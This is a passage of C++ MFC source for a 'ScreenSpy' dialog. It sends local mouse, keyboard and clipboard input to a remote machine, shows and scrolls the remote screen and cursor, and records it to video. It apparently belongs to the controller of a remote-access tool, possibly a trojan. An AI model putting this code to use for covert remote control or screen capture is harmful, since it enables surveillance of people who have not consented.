m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
CRect rect;
GetClientRect(&rect);
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEWHEEL:
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;
break;
default:
break;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
if (!m_bIsCtrl)
{
return;
}
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, pMsg, sizeof(MSG));
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
delete[] lpData;
}
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: Add your message handler code here and/or call default
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_HORZ, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
i = m_lpbmi->bmiHeader.biWidth - rect.right;
InterlockedExchange((PLONG)&m_HScrollPos, i);
SetScrollPos(SB_HORZ, m_HScrollPos);
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: Add your message handler code here and/or call default
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_VERT, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.bottom + i) > m_lpbmi->bmiHeader.biHeight)
i = m_lpbmi->bmiHeader.biHeight - rect.bottom;
InterlockedExchange((PLONG)&m_VScrollPos, i);
SetScrollPos(SB_VERT, i);
PostMessage(WM_PAINT);
CDialog::OnVScroll(nSBCode, nPos, pScrollBar);
}
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CScreenSpyDlg::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
delete[] lpData;
}
void CScreenSpyDlg::SendNext()
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CScreenSpyDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: Add your message handler code here
// TODO: Add your message handler code here
if (m_bIsFirst)
{
DrawTipString(_T("Please wait - initial screen loading"));
return;
}
if (m_bOnClose) return;
BitBlt
(
m_hDC,
0,
0,
m_lpbmi->bmiHeader.biWidth,
m_lpbmi->bmiHeader.biHeight,
m_hMemDC,
m_HScrollPos,
m_VScrollPos,
SRCCOPY
);
// (BYTE)-1 = 255;
// Draw the cursor
if (m_bIsTraceCursor)
DrawIconEx(
m_hDC, // handle to device context
m_RemoteCursorPos.x - ((int) m_dwCursor_xHotspot) - m_HScrollPos,
m_RemoteCursorPos.y - ((int) m_dwCursor_yHotspot) - m_VScrollPos,
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
0,0, // width of the icon
0, // index of frame in animated cursor
NULL, // handle to background brush
DI_NORMAL | DI_COMPAT // icon-drawing flags
);
// Do not call CDialog::OnPaint() for painting messages
}
void CScreenSpyDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
if (!m_bOnClose)
OnClose();
delete this;
CDialog::PostNcDestroy();
}
void CScreenSpyDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if (!m_aviFile.IsEmpty())
{
LPCTSTR lpTipsString = _T("录制中 ...");
m_aviStream.Write(m_lpScreenDIB);
// 提示正在录像
SetBkMode(m_hDC, TRANSPARENT);
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
CDialog::OnTimer(nIDEvent);
}